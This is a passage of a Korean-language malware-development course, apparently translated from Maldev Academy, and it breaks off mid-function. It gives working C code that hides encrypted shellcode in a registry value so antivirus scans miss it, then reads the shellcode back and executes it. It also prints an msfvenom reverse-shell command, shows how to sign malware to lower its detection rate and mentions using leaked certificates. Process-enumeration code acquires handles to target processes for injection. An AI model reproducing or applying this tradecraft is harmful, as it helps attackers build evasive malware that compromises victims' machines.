Maldev Academy Part4

목차


31. 페이로드 스테이징 – Windows 레지스트리

페이로드 스테이징 – Windows 레지스트리

소개

이전 모듈에서는 페이로드가 반드시 멀웨어 내부에 저장될 필요는 없다는 것을 보여주었습니다. 대신, 페이로드는 멀웨어가 런타임에 가져올 수 있습니다. 이 모듈은 페이로드를 레지스트리 키 값으로 작성한 다음 필요할 때 레지스트리에서 가져온다는 점을 제외하면 유사한 기법을 보여줍니다. 페이로드가 레지스트리에 저장되기 때문에 보안 솔루션이 멀웨어를 검사할 경우 그 안에 있는 페이로드를 탐지하거나 찾을 수 없습니다.

이 모듈의 코드는 두 부분으로 나뉩니다. 첫 번째 부분은 암호화된 페이로드를 레지스트리 키에 기록하는 부분입니다. 두 번째 부분은 동일한 레지스트리 키에서 페이로드를 읽고 복호화하여 실행합니다. 암호화/복호화 프로세스는 이전 모듈에서 설명했으므로 이 모듈에서는 설명하지 않습니다.

이 모듈에서는 조건부 컴파일의 개념도 소개합니다.

조건부 컴파일

조건부 컴파일은 컴파일러가 컴파일하거나 컴파일하지 않는 코드를 프로젝트에 포함하는 방법입니다. 이는 구현에서 레지스트리를 읽을지, 아니면 레지스트리에 쓸지 결정하는 데 사용됩니다.

아래 두 섹션에서는 조건부 컴파일을 사용하여 읽기 및 쓰기 작업을 작성하는 방법에 대한 스켈레톤 코드를 제공합니다.

쓰기 작업

	#define WRITEMODE// Code that will be compiled in both cases

	// if 'WRITEMODE' is defined
	#ifdef WRITEMODE// The code that will be compiled
		// Code that's needed to write the payload to the Registry
	#endif// if 'READMODE' is defined
	#ifdef READMODE// Code that will NOT be compiled
	#endif

읽기 작업

	#define READMODE// Code that will be compiled in both cases

	// if 'READMODE' is defined
	#ifdef READMODE// The code that will be compiled
		// Code that's needed to read the payload from the Registry
	#endif

	// if 'WRITEMODE' is defined
	#ifdef WRITEMODE// Code that will NOT be compiled
	#endif

레지스트리에 쓰기

이 섹션에서는 WriteShellcodeToRegistry 함수에 대해 설명합니다. 이 함수는 두 개의 매개변수를 받습니다:

  1. pShellcode – 작성할 페이로드입니다.
  2. dwShellcodeSize – 작성할 페이로드의 크기입니다.

레지스트리 및 레그스트링

이 코드는 각각 제어판과 MalDevAcademy로 설정된 두 개의 사전 정의된 상수 REGISTRY와 REGSTRING으로 시작됩니다.

// Registry key to read / write
#define     REGISTRY            "Control Panel"#define     REGSTRING           "MalDevAcademy"

REGISTRY는 페이로드를 저장할 레지스트리 키의 이름입니다. REGISTRY의 전체 경로는 컴퓨터\HKEY_CURRENT_USER\제어판입니다.

이 함수가 프로그래밍 방식으로 수행하는 작업은 페이로드를 저장하기 위해 이 레지스트리 키 아래에 새 문자열 값을 만드는 것입니다. REGSTRING은 생성될 문자열 값의 이름입니다. 물론 실제 상황에서는 패널업데이트서비스 또는 앱스냅샷과 같은 보다 현실적인 값을 사용하세요.

레지스트리 키에 대한 핸들 열기

RegOpenKeyExA WinAPI는 지정된 레지스트리 키에 대한 핸들을 여는 데 사용되며, 이는 레지스트리 키 아래의 값을 생성, 편집 또는 삭제하기 위한 전제 조건입니다.

LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey, 		// A handle to an open registry key
  [in, optional] LPCSTR lpSubKey, 	// The name of the registry subkey to be opened (REGISTRY constant)
  [in]           DWORD  ulOptions, 	// Specifies the option to apply when opening the key - Set to 0
  [in]           REGSAM samDesired, 	// Access Rights
  [out]          PHKEY  phkResult 	// A pointer to a variable that receives a handle to the opened key
);

RegOpenKeyExA WinAPI의 네 번째 매개변수는 레지스트리 키에 대한 액세스 권한을 정의합니다. 프로그램이 레지스트리 키 아래에 값을 생성해야 하므로 KEY_SET_VALUE가 선택되었습니다. 레지스트리 액세스 권한의 전체 목록은 여기에서 확인할 수 있습니다.

STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);

레지스트리 값 설정

다음으로, RegOpenKeyExA에서 열린 핸들을 가져와 두 번째 매개변수인 REGSTRING을 기반으로 하는 새 값을 생성하는 RegSetValueExA WinAPI가 사용됩니다. 또한 새로 생성된 값에 페이로드를 씁니다.

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,            // A handle to an open registry key
  [in, optional] LPCSTR     lpValueName,     // The name of the value to be set (REGSTRING constant)
                 DWORD      Reserved,        // Set to 0
  [in]           DWORD      dwType,          // The type of data pointed to by the lpData parameter
  [in]           const BYTE *lpData,         // The data to be stored
  [in]           DWORD      cbData           // The size of the information pointed to by the lpData parameter, in bytes
);

네 번째 매개변수는 레지스트리 값의 데이터 유형을 지정한다는 점도 주목할 필요가 있습니다. 이 경우 페이로드가 단순히 바이트 목록이므로 REG_BINARY로 설정되었지만 전체 데이터 유형 목록은 여기에서 확인할 수 있습니다.

STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);

레지스트리 키 핸들 닫기

마지막으로 RegCloseKey는 열린 레지스트리 키의 핸들을 닫는 데 사용됩니다.

LSTATUS RegCloseKey(
  [in] HKEY hKey // Handle to an open registry key to be closed
);

레지스트리에 쓰기 – 코드 스니펫

// Registry key to read / write
#define     REGISTRY            "Control Panel"#define     REGSTRING           "MalDevAcademy"

BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {

    BOOL        bSTATE  = TRUE;
    LSTATUS     STATUS  = NULL;
    HKEY        hKey    = NULL;

    printf("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);

    STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
    if (ERROR_SUCCESS != STATUS) {
        printf("[!] RegOpenKeyExA Failed With Error : %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }

    STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
    if (ERROR_SUCCESS != STATUS){
        printf("[!] RegSetValueExA Failed With Error : %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("[+] DONE ! \n");


_EndOfFunction:
    if (hKey)
        RegCloseKey(hKey);
    return bSTATE;
}

레지스트리 읽기

이제 페이로드가 컴퓨터\HKEY_CURRENT_USER\제어판 레지스트리 키 아래의 MalDevAcademy 문자열에 기록되었으므로 HellShell.exe가 제공한 복호화 기능을 포함하는 다른 구현을 작성할 차례입니다.

이 섹션에서는 아래 그림과 같이 ReadShellcodeFromRegistry 함수에 대해 설명합니다. 이 함수는 두 개의 매개변수를 받습니다:

  1. sPayloadSize – 읽을 페이로드 크기입니다.
  2. ppPayload – 출력된 페이로드를 저장할 버퍼입니다.

힙 할당

이 함수는 페이로드를 저장할 sPayloadSize 크기로 메모리를 할당하는 것으로 시작됩니다.

pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);

레지스트리 값 읽기

RegGetValueA 함수를 사용하려면 읽을 레지스트리 키와 값이 필요한데, 각각 REGISTRY와 REGSTRING입니다. 이전 모듈에서는 인터넷에서 페이로드를 크기에 상관없이 여러 개의 청크로 가져올 수 있었지만, RegGetValueA로 작업할 때는 바이트를 데이터 스트림으로 읽는 것이 아니라 한꺼번에 읽기 때문에 이것이 불가능합니다. 이 모든 것은 페이로드 크기를 아는 것이 읽기 구현의 필수 요건이라는 것을 의미합니다.

LSTATUS RegGetValueA(
  [in]                HKEY    hkey,     // A handle to an open registry key
  [in, optional]      LPCSTR  lpSubKey, // The path of a registry key relative to the key specified by the hkey parameter
  [in, optional]      LPCSTR  lpValue,  // The name of the registry value.
  [in, optional]      DWORD   dwFlags,  // The flags that restrict the data type of value to be queried
  [out, optional]     LPDWORD pdwType,  // A pointer to a variable that receives a code indicating the type of data stored in the specified value
  [out, optional]     PVOID   pvData,   // A pointer to a buffer that receives the value's data
  [in, out, optional] LPDWORD pcbData   // A pointer to a variable that specifies the size of the buffer pointed to by the pvData parameter, in bytes
);

네 번째 파라미터는 데이터 유형을 제한하는 데 사용할 수 있지만, 이 구현에서는 모든 데이터 유형을 의미하는 RRF_RT_ANY를 사용합니다. 또는 페이로드가 바이너리 데이터 유형이므로 RRF_RT_REG_BINARY를 사용할 수도 있습니다. 마지막으로 페이로드는 이전에 HeapAlloc을 사용하여 할당된 pBytes로 읽혀집니다.

STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);

레지스트리 읽기 – 코드 스니펫

BOOL ReadShellcodeFromRegistry(IN DWORD sPayloadSize, OUT PBYTE* ppPayload) {

    LSTATUS     STATUS            = NULL;
    DWORD       dwBytesRead       = sPayloadSize;
    PVOID       pBytes            = NULL;


    pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
    if (pBytes == NULL){
        printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
        return FALSE;
    }

    STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
    if (ERROR_SUCCESS != STATUS) {
        printf("[!] RegGetValueA Failed With Error : %d\n", STATUS);
        return FALSE;
    }

    if (sPayloadSize != dwBytesRead) {
        printf("[!] Total Bytes Read : %d ; Instead Of Reading : %d\n", dwBytesRead, sPayloadSize);
        return FALSE;
    }

    *ppPayload = pBytes;

    return TRUE;
}

페이로드 실행

페이로드가 레지스트리에서 읽혀지고 할당된 버퍼에 저장되면 런셸코드 함수가 페이로드를 실행하는 데 사용됩니다. 이 함수는 이전 모듈에서 설명했습니다.

BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {

    PVOID pShellcodeAddress = NULL;
    DWORD dwOldProtection   = NULL;

    pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

    memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
    memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);

    if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("[#] Press <Enter> To Run ... ");
    getchar();

    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

레지스트리에 쓰기 – 데모

위에 표시된 컴파일된 코드를 실행하기 전에 레지스트리 키는 다음과 같이 표시됩니다:

프로그램을 실행하면 RC4로 암호화된 페이로드가 포함된 새 레지스트리 문자열 값이 생성됩니다.

말데브아카데미를 더블클릭하면 페이로드가 HEX 및 ASCII 형식으로 표시됩니다.

레지스트리 읽기 – 데모

프로그램은 레지스트리에서 암호화된 페이로드를 읽는 것으로 시작됩니다.

다음으로 프로그램이 페이로드를 해독합니다.

마지막으로 해독된 페이로드가 실행됩니다.


32. 악성코드 바이너리 서명

멀웨어 바이너리 서명

소개

사용자가 인터넷에서 합법적인 실행 파일을 다운로드하려고 할 때, 해당 파일이 신뢰할 수 있는 실행 파일임을 사용자에게 증명하기 위해 회사에서 서명하는 경우가 많습니다. 보안 솔루션은 여전히 실행 파일을 검사하지만, 바이너리가 서명되지 않았다면 추가적인 조사가 이루어졌을 것입니다.

이 모듈은 악성 바이너리의 신뢰성을 높일 수 있도록 서명하는 데 필요한 단계를 안내합니다. 이 모듈은 Msfvenom을 통해 생성된 실행 파일에 대한 바이너리 서명을 시연합니다: 

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f exe -o maldev.exe

바이너리 탐지율 테스트

시작하기 전에 바이너리에 서명하기 전에 탐지율을 확인하기 위해 바이너리를 VirusTotal에 업로드했습니다. 탐지율은 상당히 높은 편으로, 52/71의 벤더가 해당 파일을 악성 파일로 표시했습니다.

인증서 받기

인증서를 받는 방법에는 여러 가지가 있습니다:

  • 가장 이상적인 방법은 DigiCert와 같은 신뢰할 수 있는 공급업체에서 인증서를 구입하는 것입니다.
  • 또 다른 가능성은 자체 서명된 인증서를 사용하는 것입니다. 이 모듈은 신뢰할 수 있는 인증서만큼 효과적이지는 않지만 탐지율에 영향을 미칠 수 있다는 것을 증명합니다.
  • 마지막 옵션은 인터넷(예: Github)에서 유출된 유효한 인증서를 찾는 것입니다. 이렇게 유출된 인증서를 사용하여 법률을 위반하지 않도록 하세요.

인증서 생성

이 데모에서는 자체 서명 인증서 경로를 사용합니다. 이를 위해서는 Kali Linux에 미리 빌드된 openssl이 필요합니다.

인증서를 만들려면 먼저 필요한 pem 파일을 생성합니다. 이 도구를 사용하려면 인증서 안에 포함할 정보가 필요합니다.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365

그런 다음, pem 파일을 사용하여 pfx 파일을 생성합니다. 도구에서 핵심 문구를 입력하라는 메시지가 표시됩니다.

openssl pkcs12 -inkey key.pem -in cert.pem -export -out sign.pfx

바이너리 서명

바이너리에 서명하려면 Windows SDK의 일부인 signtool.exe가 필요합니다. 여기에서 설치할 수 있습니다. 설치가 완료되면 아래 명령을 사용하여 바이너리에 서명할 수 있습니다.

signtool sign /f sign.pfx /p <pfx-password> /t http://timestamp.digicert.com /fd sha256 binary.exe

이제 바이너리의 속성을 보면 바이너리 서명에 사용된 인증서의 세부 정보를 보여주는 ‘디지털 서명’ 탭이 표시됩니다. 또한 인증서를 신뢰할 수 없다는 경고도 표시됩니다.

서명된 바이너리 탐지율 테스트

바이너리를 VirusTotal에 다시 업로드하여 탐지율에 영향이 있는지 확인합니다. 당연히 이 파일을 탐지한 보안 솔루션의 수가 52개에서 47개로 감소했습니다. 처음에는 탐지율이 크게 감소한 것으로 보이지 않을 수 있지만 인증서로 서명하는 것 외에 파일을 변경하지 않았다는 점을 강조해야 합니다.


33. 프로세스 열거 – EnumProcesses

프로세스 열거형 – EnumProcesses

소개

프로세스 열거를 수행하는 한 가지 방법은 이전에 CreateToolHelp32Snapshot을 사용하는 프로세스 주입 모듈에서 시연했습니다. 이 모듈에서는 EnumProcesses를 사용하여 프로세스 열거를 수행하는 또 다른 방법을 보여드리겠습니다.

멀웨어 제작자는 자신의 멀웨어에 여러 가지 방법으로 기술을 구현하여 예측할 수 없는 동작을 유지하는 것이 중요합니다.

EnumProcesses

먼저 열거형 프로세스에 대한 Microsoft의 설명서를 검토하세요. 이 함수는 연관된 프로세스 이름 없이 프로세스 ID(PID)를 배열로 반환한다는 점에 주목하세요. 문제는 연관된 프로세스 이름 없이 PID만 있으면 사람의 관점에서 프로세스를 식별하기 어렵다는 것입니다.

해결책은 OpenProcessGetModuleBaseName 및 EnumProcessModules WinAPI를 사용하는 것입니다.

  1. OpenProcess는 PROCESS_QUERY_INFORMATION 및 PROCESS_VM_READ 액세스 권한이 있는 PID에 대한 핸들을 여는 데 사용됩니다.
  2. EnumProcessModules는 열린 프로세스 내의 모든 모듈을 열거하는 데 사용됩니다. 이는 3단계에 필요합니다.
  3. 2단계에서 열거된 프로세스 모듈이 주어지면 GetModuleBaseName은 프로세스 이름을 결정합니다.

Enum프로세스의 장점

CreateToolhelp32Snapshot 프로세스 열거 메서드를 사용하여 스냅샷을 만들고 문자열 비교를 수행하여 프로세스 이름이 의도한 대상 프로세스와 일치하는지 여부를 확인합니다. 이 방법의 문제점은 서로 다른 권한 수준에서 실행 중인 프로세스의 인스턴스가 여러 개 있는 경우 문자열 비교 중에 이를 구분할 방법이 없다는 것입니다. 예를 들어, 일부 svchost.exe 프로세스는 일반 사용자 권한으로 실행되는 반면 다른 프로세스는 상승된 권한으로 실행됩니다. 문자열 비교 중에 svchost.exe의 권한 수준을 확인할 수 있는 방법은 없습니다. 따라서 권한이 있는지 여부에 대한 유일한 지표는 OpenProcess 호출이 실패하는 경우입니다(구현이 일반 사용자 권한으로 실행되고 있다고 가정할 때).

반면에 EnumProcesses 프로세스 열거 메서드를 사용하면 프로세스에 대한 PID와 핸들을 제공하며, 그 목적은 프로세스 이름을 얻는 것입니다. 이 메서드는 프로세스에 대한 핸들이 이미 존재하므로 성공이 보장됩니다.

코드 연습

이 섹션에서는 Microsoft의 프로세스 열거 예제를 기반으로 하는 코드 조각에 대해 설명합니다.

인쇄 프로세스 함수

PrintProcesses는 열거된 프로세스의 프로세스 이름과 PID를 인쇄하는 사용자 정의 함수입니다. 구현과 동일한 권한으로 실행 중인 프로세스만 해당 정보를 검색할 수 있습니다. 상승된 프로세스에 대한 정보는 구현이 일반 사용자 권한으로 실행 중이라고 가정하면 검색할 수 없습니다. OpenProcess를 사용하여 높은 권한의 프로세스에 대한 핸들을 열려고 시도하면 ERROR_ACCESS_DENIED 오류가 발생합니다.

프로세스를 타깃팅할 수 있는지 여부를 판단하는 지표로 OpenProcess의응답을 사용할 수 있습니다. 핸들을 열 수 없는 프로세스는 타깃팅할 수 없지만 핸들을 성공적으로 연 프로세스는 타깃팅할 수 있습니다.

BOOL PrintProcesses() {

	DWORD		adwProcesses	[1024 * 2],
			    dwReturnLen1		= NULL,
			    dwReturnLen2		= NULL,
			    dwNmbrOfPids		= NULL;

	HANDLE		hProcess		= NULL;
	HMODULE		hModule			= NULL;

	WCHAR		szProc			[MAX_PATH];

	// Get the array of PIDs
	if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
		printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Calculating the number of elements in the array
	dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);

	printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);

	for (int i = 0; i < dwNmbrOfPids; i++) {

		// If process is not NULL
		if (adwProcesses[i] != NULL) {

			// Open a process handle
			if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, adwProcesses[i])) != NULL) {

				// If handle is valid
				// Get a handle of a module in the process 'hProcess'
				// The module handle is needed for 'GetModuleBaseName'
				if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
					printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
				}
				else {
					// If EnumProcessModules succeeded
					// Get the name of 'hProcess' and save it in the 'szProc' variable
					if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
						printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
					}
					else {
						// Printing the process name & its PID
						wprintf(L"[%0.3d] Process \"%s\" - Of Pid : %d \n", i, szProc, adwProcesses[i]);
					}
				}

				// Close process handle
				CloseHandle(hProcess);
			}
		}

		// Iterate through the PIDs array
	}

	return TRUE;
}

GetRemoteProcessHandle 함수

아래 코드 스니펫은 이전 PrintProcesses 함수를 업데이트한 것입니다. GetRemoteProcessHandle은 지정된 프로세스에 대한 핸들을 반환한다는 점을 제외하면 PrintProcesses와 동일한 작업을 수행합니다.

업데이트된 함수는 wcscmp를 사용하여 대상 프로세스를 확인합니다. 또한, 반환된 프로세스 객체에 대한 더 많은 액세스를 제공하기 위해 OpenProcess의액세스 제어가 PROCESS_QUERY_INFORMATION | PROCESS_VM_READ에서 PROCESS_ALL_ACCESS로 변경됩니다.

BOOL GetRemoteProcessHandle(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {

	DWORD		adwProcesses	[1024 * 2],
			    dwReturnLen1		= NULL,
			    dwReturnLen2		= NULL,
			    dwNmbrOfPids		= NULL;

	HANDLE		hProcess		= NULL;
	HMODULE		hModule			= NULL;

	WCHAR		szProc			[MAX_PATH];

	// Get the array of PIDs
	if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
		printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Calculating the number of elements in the array
	dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);

	printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);

	for (int i = 0; i < dwNmbrOfPids; i++) {

		// If process is not NULL
		if (adwProcesses[i] != NULL) {

			// Open a process handle
			if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, adwProcesses[i])) != NULL) {

				// If handle is valid
				// Get a handle of a module in the process 'hProcess'.
				// The module handle is needed for 'GetModuleBaseName'
				if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
					printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
				}
				else {
					// If EnumProcessModules succeeded
					// Get the name of 'hProcess' and save it in the 'szProc' variable
					if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
						printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
					}
					else {
						// Perform the comparison logic
						if (wcscmp(szProcName, szProc) == 0) {
							wprintf(L"[+] FOUND \"%s\" - Of Pid : %d \n", szProc, adwProcesses[i]);
							// Return by reference
							*pdwPid		= adwProcesses[i];
							*phProcess	= hProcess;
							break;
						}
					}
				}

				CloseHandle(hProcess);
			}
		}
	}

	// Check if pdwPid or phProcess are NULL
	if (*pdwPid == NULL || *phProcess == NULL)
		return FALSE;
	else
		return TRUE;
}

PrintProcesses – 예제

GetRemoteProcessHandle – 예제


34. 프로세스 열거 – NtQuerySystemInformation

프로세스 열거형 – NtQuerySystemInformation

소개

이 모듈에서는 시스템 호출인 NtQuerySystemInformation을 사용하여 프로세스 열거를 수행하는 보다 독특한 방법에 대해 설명합니다(나중에 시스템 호출에 대해 자세히 설명합니다). NtQuerySystemInformation은 ntdll.dll 모듈에서 내보내므로 GetModuleHandle 및 GetProcAddress를 사용해야 합니다.

NtQuerySystemInformation에 대한 Microsoft의 설명서를 보면 시스템에 대한 많은 정보를 반환할 수 있음을 알 수 있습니다. 이 모듈에서는 이 모듈을 사용하여 프로세스 열거를 수행하는 데 중점을 둘 것입니다.

NtQuerySystemInformation의 주소 가져오기

앞서 언급했듯이 ntdll.dll에서 NtQuerySystemInformation의주소를 검색하려면 GetProcAddress와 GetModuleHandle이 필요합니다.

// Function pointer
typedef NTSTATUS (NTAPI* fnNtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
);

fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;

// Getting NtQuerySystemInformation's address
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) {
	printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());
	return FALSE;
}

NtQuerySystemInformation 매개변수

NtQuerySystemInformation의매개 변수는 다음과 같습니다.

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);
  • SystemInformationClass – 함수가 반환하는 시스템 정보 유형을 결정합니다.
  • SystemInformation – 요청된 정보를 수신할 버퍼에 대한 포인터입니다. 반환되는 정보는 SystemInformationClass 매개변수에 따라 지정된 유형의 구조체 형식이 됩니다.
  • SystemInformationLength – SystemInformation 매개변수가 가리키는 버퍼의 크기(바이트 단위)입니다.
  • ReturnLength – 시스템 정보에 기록된 정보의 실제 크기를 수신할 ULONG 변수에 대한 포인터입니다.

이 함수의 목적은 프로세스 열거이므로 SystemProcessInformation 플래그가 사용됩니다. 이 플래그를 사용하면 함수가 시스템에서 실행 중인 각 프로세스에 대해 하나씩 시스템정보 매개변수를 통해 시스템_프로세스_정보 구조체 배열을 반환하게 됩니다.

SYSTEM_PROCESS_INFORMATION 구조체

다음 단계는 Microsoft의 설명서를 검토하여 시스템 프로세스 정보 구조가 어떻게 생겼는지 이해하는 것입니다.

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    PVOID Reserved2;
    ULONG HandleCount;
    ULONG SessionId;
    PVOID Reserved3;
    SIZE_T PeakVirtualSize;
    SIZE_T VirtualSize;
    ULONG Reserved4;
    SIZE_T PeakWorkingSetSize;
    SIZE_T WorkingSetSize;
    PVOID Reserved5;
    SIZE_T QuotaPagedPoolUsage;
    PVOID Reserved6;
    SIZE_T QuotaNonPagedPoolUsage;
    SIZE_T PagefileUsage;
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;

초점은 프로세스 이름이 포함된 UNICODE_STRING ImageName과 프로세스 ID인 UniqueProcessId에 맞춰집니다. 또한 반환된 배열의 다음 요소로 이동하기 위해 NextEntryOffset이 사용됩니다.

SystemProcessInformation 플래그를 사용하여 NtQuerySystemInformation을 호출하면 크기를 알 수 없는 SYSTEM_PROCESS_INFORMATION 배열이 반환되므로 NtQuerySystemInformation을 두 번 호출해야 합니다. 첫 번째 호출에서는 버퍼를 할당하는 데 사용되는 배열 크기를 검색한 다음 두 번째 호출에서는 할당된 버퍼를 사용합니다.

단순히 배열 크기를 검색하기 위해 잘못된 파라미터가 전달되기 때문에 첫 번째 NtQuerySystemInformation 호출은 STATUS_INFO_LENGTH_MISMATCH (0xC0000004) 오류와 함께 실패할 것으로 예상됩니다.

ULONG                        uReturnLen1    = NULL,
                             uReturnLen2    = NULL;
PSYSTEM_PROCESS_INFORMATION  SystemProcInfo = NULL;
NTSTATUS                     STATUS         = NULL;

// First NtQuerySystemInformation call
// This will fail with STATUS_INFO_LENGTH_MISMATCH
// But it will provide information about how much memory to allocate (uReturnLen1)
pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);

// Allocating enough buffer for the returned array of `SYSTEM_PROCESS_INFORMATION` struct
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
if (SystemProcInfo == NULL) {
	printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
	return FALSE;
}

// Second NtQuerySystemInformation call
// Calling NtQuerySystemInformation with the correct arguments, the output will be saved to 'SystemProcInfo'
STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
if (STATUS != 0x0) {
	printf("[!] NtQuerySystemInformation Failed With Error : 0x%0.8X \n", STATUS);
	return FALSE;
}

프로세스 반복

배열이 성공적으로 검색되었으므로 다음 단계는 배열을 반복하여 프로세스 이름이 저장된 ImageName.Buffer에 액세스하는 것입니다. 반복할 때마다 프로세스 이름을 대상 프로세스 이름과 비교합니다.

배열에 있는 SYSTEM_PROCESS_INFORMATION 유형의 각 요소에 액세스하려면 NextEntryOffset 멤버를 사용해야 합니다. 다음 요소의 주소를 찾으려면 이전 요소의 주소를 NextEntryOffset에 추가합니다. 이는 아래 코드 조각에 설명되어 있습니다.

// 'SystemProcInfo' will now represent a new element in the array
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);

할당된 메모리 해제

배열의 새 요소로 SystemProcInfo를 이동하기 전에 할당된 메모리의 초기 주소를 저장해야 나중에 해제할 수 있습니다. 따라서 루프가 시작되기 직전에 주소를 임시 변수에 저장해야 합니다.

// Since we will modify 'SystemProcInfo', we will save its initial value before the while loop to free it later
pValueToFree = SystemProcInfo;

NtQuerySystem정보 프로세스 열거형

NtQuerySystemInformation을 사용하여 프로세스 열거를 수행하는 전체 코드는 아래와 같습니다.

BOOL GetRemoteProcessHandle(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {

	fnNtQuerySystemInformation   pNtQuerySystemInformation = NULL;
	ULONG                        uReturnLen1               = NULL,
                                 uReturnLen2               = NULL;
    PSYSTEM_PROCESS_INFORMATION  SystemProcInfo            = NULL;
    NTSTATUS                     STATUS                    = NULL;
	PVOID                        pValueToFree              = NULL;

	pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
	if (pNtQuerySystemInformation == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());
		return FALSE;
	}

	pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);

	SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
	if (SystemProcInfo == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
		return FALSE;
	}

	// Since we will modify 'SystemProcInfo', we will save its initial value before the while loop to free it later
	pValueToFree = SystemProcInfo;

	STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
	if (STATUS != 0x0) {
